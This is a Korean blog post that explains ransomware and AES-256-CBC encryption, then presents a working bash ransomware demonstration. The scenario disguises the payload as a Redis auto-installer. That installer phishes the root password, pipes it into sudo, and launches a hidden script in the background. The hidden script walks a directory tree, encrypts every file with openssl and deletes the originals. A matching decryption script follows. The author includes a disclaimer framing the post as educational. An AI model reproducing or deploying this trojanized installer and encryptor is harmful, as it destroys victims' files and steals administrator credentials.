보안

[보안] 랜섬웨어(Ransomware) 테스트

ssh9308 2023. 4. 29. 14:46
반응형

 

랜섬웨어(Ransomware) 란?

 

랜섬웨어(Ransomware)는 악성 코드의 일종으로, 

 

컴퓨터 파일을 암호화하거나 사용자의 파일 시스템을 블록 하는 등의 방법으로

 

파일에 대한 액세스 권한을 제한하고,

 

해독에 대한 비용을 요구하는 소프트웨어이다.

 


랜섬웨어는 일반적으로 이메일, 소셜 미디어, 악성 웹사이트, P2P 네트워크 등을 통해 유포된다.

 

일단 사용자가 랜섬웨어에 감염되면, 랜섬웨어는 암호화된 파일에 대한 복호화 키를 보유하고,

 

사용자에게 이를 구매하는 것을 요구한다.

 


대개 랜섬웨어의 요구 금액은 비트코인과 같은 암호화폐로 지불하도록 요구되며, 

 

요구 금액은 몇 백 달러에서 몇 만 달러까지 다양합니다. 랜섬웨어 요구금을 지불하면, 

 

일반적으로 복호화 키를 제공하지만 그렇지 않은 경우도 많다.

랜섬웨어로 인해 암호화된 파일은 일반적으로 복원이 불가능합니다.

 

또한, 사용자는 요구 금액을 지불하지 않으면 파일에 대한 액세스를 완전히 잃을 수 있다.

 

따라서, 백업과 같은 안전한 데이터 보호 및 복구 방법을 사용하는 것이 중요하다.

 

 

 

오늘은 이 랜섬웨어가 어떤식으로 파일을 암호화하는지 테스트를 진행해 볼 것이다.

 

해당 글은 랜섬웨어를 유포하려는 목적이 아닌 랜섬웨어의 원리와 동작을 이해하기 위한 목적으로 쓰였으며,

 

해당 코드를 변형 또는 응용하여 실제 운영시스템 또는 타인의 시스템에 막대한 손해를 끼쳤을 경우에는

 

글쓴이는 어떠한 책임도 지지 않을것을 경고한다.

 

 

 

 

 

랜섬웨어(Ransomware) 작동 방식

 

이 글에서는 어떤식으로 상대방 시스템에 파일을 유포하고 실행시키는 방법이 아닌,

 

어떤 식으로 파일을 암호화 및 복호화하는지를 중점으로 설명할 것이다.

 

대게 파일을 암호화 하는 알고리즘은 RSA, AES, Blowfish, Serpant 알고리즘이 존재한다.

 

이 글에서는 AES 알고리즘을 사용하여 파일을 어떤 식으로 암호화하는지 알아볼 것이다.

 

AES 알고리즘 중에서도 AES-256 cbc 알고리즘을 통해서 파일 암호화 / 복호화 테스트를 진행할 것이다.

 

 

 

 

 

AES 알고리즘이란?

 

AES(Advanced Encryption Standard) 256은 대칭키 암호화 기술의 대표적인 알고리즘 중 하나로

 

암호화 및 복호화 시 동일한 키를 사용하는 대칭키 알고리즘이다.

 

AES뒤에 붙는 256 숫자는 키값의 길이며,

 

AES128(12B bit), AES192(192bit), AES256(256bit) 등으로 나뉜다.

 

AES 256은 256비트 키를 사용하여 데이터를 암호화하며, 매우 강력한 암호화 수준을 제공한다.

 

또한, AES 암호화의 필요한 요소로는 비밀키, 블록 암호 운용 방식, 패딩 기법 가 존재한다.

 

 

 

 

비밀키 (secret key)

 

비밀키는 평문(plain text)을 암호화하는 데 사용되며 사용자 외에는 절대로 외부에 노출되어서는 안 된다.

AES의 종류가 무엇이냐에 따라 비밀키의 길이가 달라지게 된다.

 

- AES128 : 키값 16 bytes(128bit)

- AES192 : 키값 24 bytes(192bit)

- AES256 : 키값 32 bytes(256bit)

 

 

 

 

블록 암호 운용 방식(Block Cipher Mode)

 

블록 암호란 평문을 일정한 크기의 블록으로 잘라낸 후 각 블록을 암호화하는 방식이다.

 

만약 암호화하려는 정보가 블록의 길이보다 길 경우에는 특정한 운용 모드가 사용된다. (ECB, CBC... )

블록들을 어떻게 암호화할지 정해야 하는데, 이때 블록들의 암호화 방식을 운용 방식이라 부른다.

메시지의 길이가 n비트보다 작다면 n비트 블록을 만들기 위해 패딩(padding)이 추가된다.

 

블록 암호 운용 모드에 대표적으로 아래의 두가지 모드가 존재한다.

 

1. ECB(Electronic Code Book) mode

2. CBC(Cipher-Block Chaining) mode

 

 

 

 

1. ECB(Electronic Code Book) mode

 

 

운용 방식 중 가장 간단한 구조를 가지며, 암호화하려는 메시지를 여러 블록으로 나누어

 

각 블록을 독립적으로 암호화하는 방식을 취한다.

각 블록을 독립적으로 암호화를 하는 방식은 간단하고 병렬 처리를 할 수 있다는 장점이 존재한다.

 

또한, 위의 그림을 보면 어느정도 이해가 되겠지만,

 

평문 내에서 동일한 블록들은 암호화한 결과 또한 동일하다는 취약점이 존재한다.

 

그러므로 한개의 블록만 해독된다면, 나머지 블록들도 자연스럽게 해독할 수 있다는 단점이 존재한다.

 

 

 

 

2. CBC(Cipher-Block Chaining) mode

 

기존의 ECB 의 방식과 다르게 평문의 각 블록은 XOR 연산을 사용하여 이전 암호문과 연산이 된다.

 

맨 첫 블록은 이전의 암호문이 없기 때문에, 초기화 벡터 (Initial Vector)가 첫 번째 블록과 연산이 된다.

 

AES는 128비트 단위로 블록을 만들어서 암호화를 수행하므로,

 

XOR 연산을 하기 위해서는 IV의 크기도 128비트로 맞춰줘야 한다.

 

해당 연산을 하고 KEY를 통해 연산을 진행한 결과가 다시 IV 의 역할을 수행하여,

 

다음 블록과 XOR 연산 후 KEY 를 통해 암호화를 진행하므로, 두 개의 블록이 같은 평문일지라도

 

다른 암호문으로 보이게 된다. 

 

또한, 당연하게도 KEY는 절대로 공유되어서는 안 되지만, IV는 공개되어도 크게 상관이 없다.

 

 

 

 

 

 

 

패딩 기법 (Padding)

블록 암호화를 진행하기 위해서는 패딩 기법이 필요한데 

 

패딩 기법이란 데이터를 특정 크기로 맞추기 위해서, 특정 크기보다 부족한 부분의 공간을 

 

의미 없는 문자들로 채워서 비트수를 맞추는 것이다.

 


AES는 128비트의 블록단위로 암호화를 수행하는데 128비트보다 작은 블록이 생길 경우 부족한 부분을 특정 값으로 채워야 한다.

 

이러한 작업을 패딩이라고 하며 대표적으로 PKCS5, PKCS7 방식이 존재한다.

 

 

 

 

 

랜섬웨어(Ransomware) 테스트

 

ubuntu 20.04 버전에서 랜섬웨어 테스트를 진행하였다.

 

ubuntu os 이므로 랜섬웨어 코드는 bash shell로 구성하였다.

 

파일 암호화는 AES-256-CBC 방식을 채택할 것이다.

 

또한, 패딩 기법은 PKCS7 방식을 적용한다.

 

 

 

일단, 랜섬웨어 시나리오는 아래와 같다.

 

1. 관리자가 ubuntu에 Redis 설치를 필요로 함.

 

2. 컴파일과정을 거쳐야 하는 Redis 설치 특성상 복잡하고 귀찮으므로, 자동 설치 파일을 다운로드.

 

3. 자동설치 파일 내부에 파일을 암호화하는 코드를 숨겨놓음

 

4. 관리자가 Redis 자동설치를 위해서 해당 파일을 실행하게 되면, 파일 암호화가 시작됨.

 

 

아래와 같이 관리자가 redis 자동설치 파일을 받아서 압축을 풀었다고 가정해 보자.

 

압축해제한 디렉터리의 이름은 redis-auto이다.

 

해당 디렉터리로 이동해 보자.

 

 

해당 디렉터리로 접근하면 아래와 같이 

 

redis_auto_install.sh 파일이 존재한다.

 

관리자는 해당 파일을 실행하여 좀 더 편하게 Redis를 설치하고자 할 것이다.

 

파일암호화를 진행하는 과정을 기본적으로 Root 권한을 가져오는 게 중요하다.

 

redis_auto_install.sh 은 어떤 식으로 코딩되어 있는지 살펴보자.

 

 

[redis_auto_install.sh]

#!/bin/bash

echo "Redis requires root privileges for easy installation. Please enter the password of the root account."
echo "Enter your password: "
read -s password

echo $password | sudo -S echo "Sudo permission acquired."
echo "Redis AutoInstall in progress ..."

sleep 5s

file_path=$(pwd)/utils/'install.sh'

sudo nohup $file_path &

 

코드를 보면, 처음에 관리자로 하여금 최고권한 계정의 비밀번호를 쓰게끔 만들어준다.

 

그다음 해당 계정정보를 바탕으로 utils 디렉터리 내에 있는 install.sh를 실행하게끔 한다.

 

그럼 install.sh 코드는 어떤 식으로 짜여 있는지 확인해 보자.

 

 

 

[install.sh -> encryption code]

 

#!/bin/bash

stack=()
global_result='null'


push() {
    stack+=("$1")
}

pop() {
    if [ ${#stack[@]} -eq 0 ]; then
        echo "Stack is empty"
    else
        local last_idx=$(( ${#stack[@]} - 1 ))
        local last_value=${stack[$last_idx]}
        unset stack[$last_idx]
        stack=( "${stack[@]}" ) 
        global_result=$last_value
    fi
}

file_enc() {
    
    local file_path=$1
    local secret_key=$2

    local enc_file_path=$file_path'.enc'
    
    sudo openssl aes-256-cbc -salt -in "$file_path" -out "$enc_file_path" -pass "pass:$secret_key" -pbkdf2
    
    rm $file_path
}



file_search() {
    
    local files=()
    local file_path=$1
    
    while read -r file; do
        files+=("$file_path/$file")
    done < <(ls -1 | awk '{print $NF}')

    for file in "${files[@]}"; do
        
        dir_check=$(file $file)

        if echo "$dir_check" | grep -q "directory"; then
            push "$file"
        else
            file_enc "$file" "mCJaXvSLvzvLJ+bf1gUtUD6oa5uQUZeotvuSRA8aaEs="
        fi

    done    
}



OPEN_SSL_EXIST_STAT=$(dpkg -s openssl)

if ! echo "$OPEN_SSL_EXIST_STAT" | grep -q "Status: install ok installed"; then
    sudo apt-get install openssl
fi


root_path='/home/seunghwan/Documents'

cd $root_path

file_search $root_path


while [ ! ${#stack[@]} -eq 0 ]
do
    pop

    cd $global_result

    file_search $global_result

done

 

원래는 직접 루트로 올라가 하위 특정 파일들을 모두 암호화해주는 방식이 맞지만,

 

테스트 이므로 최상위 파일은 '/home/seunghwan/Documents'로 지정하였다.

 

기본적으로 특정 상위 디렉터리에서 BFS(Breadth First Search) 알고리즘을 사용하여,

 

하위 파일들을 모두 검색하여 암호화해주는 코드이다.

 

BFS를 적용해야 하므로 Bash shell에서는 따로 지원하지 않는 stack을 구현하였고,

 

file_search() 함수를 통해서 파일을 검색하고,

 

file_enc() 함수를 사용하여 각 파일을 암호화해주는 방식이다.

 

 

아래는 실행파일을 실행한 후 /home/seunghwan/Documents 하위 파일이 모두 암호화된 영상이다.

 

 

특정 파일에 모두. enc라는 추가적인 이름이 붙었으며, 해당 파일을 열어보면,

 

동영상에서 보는 것과 같이 이상한 바이트 코드로 써져 있는 것을 볼 수 있다.

 

실제 운영서버에서 위와 같은 일이 발생한다면, 정말 아찔한 상황이 아닐 수 없다.

 

 

그럼 모든 파일을 다시 복호화해주는 코드는 어떤 식으로 구성되어 있는지 확인해 보자.

 

 

 

 

[dcr.sh -> decryption code]

 

#!/bin/bash

stack=()
global_result='null'


push() {
    stack+=("$1")
}

pop() {
    if [ ${#stack[@]} -eq 0 ]; then
        echo "Stack is empty"
    else
        local last_idx=$(( ${#stack[@]} - 1 ))
        local last_value=${stack[$last_idx]}
        unset stack[$last_idx]
        stack=( "${stack[@]}" ) 
        global_result=$last_value
    fi
}



file_dcr() {
    
    local file_path=$1
    local secret_key=$2

    local dcr_file_path=$(echo "$file_path" | sed 's/\.enc//')
    
    sudo openssl aes-256-cbc -d -in "$file_path" -out "$dcr_file_path" -pass "pass:$secret_key" -pbkdf2

    rm $file_path
}


file_search() {
    
    local files=()
    local file_path=$1
    
    while read -r file; do
        files+=("$file_path/$file")
    done < <(ls -1 | awk '{print $NF}')

    for file in "${files[@]}"; do
        
        dir_check=$(file $file)

        if echo "$dir_check" | grep -q "directory"; then
            push "$file"
        elif [[ $file == *".enc"* ]]; then
            file_dcr "$file" "mCJaXvSLvzvLJ+bf1gUtUD6oa5uQUZeotvuSRA8aaEs="
        fi

    done    
}



OPEN_SSL_EXIST_STAT=$(dpkg -s openssl)

if ! echo "$OPEN_SSL_EXIST_STAT" | grep -q "Status: install ok installed"; then
    sudo apt-get install openssl
fi


root_path=$(pwd)
file_search $root_path


while [ ! ${#stack[@]} -eq 0 ]
do
    pop

    cd $global_result

    file_search $global_result

done

 

 

아래는 다시 모든 파일을 복호화시키는 시연연상이다.

 

 

 

 

 

 

 

반응형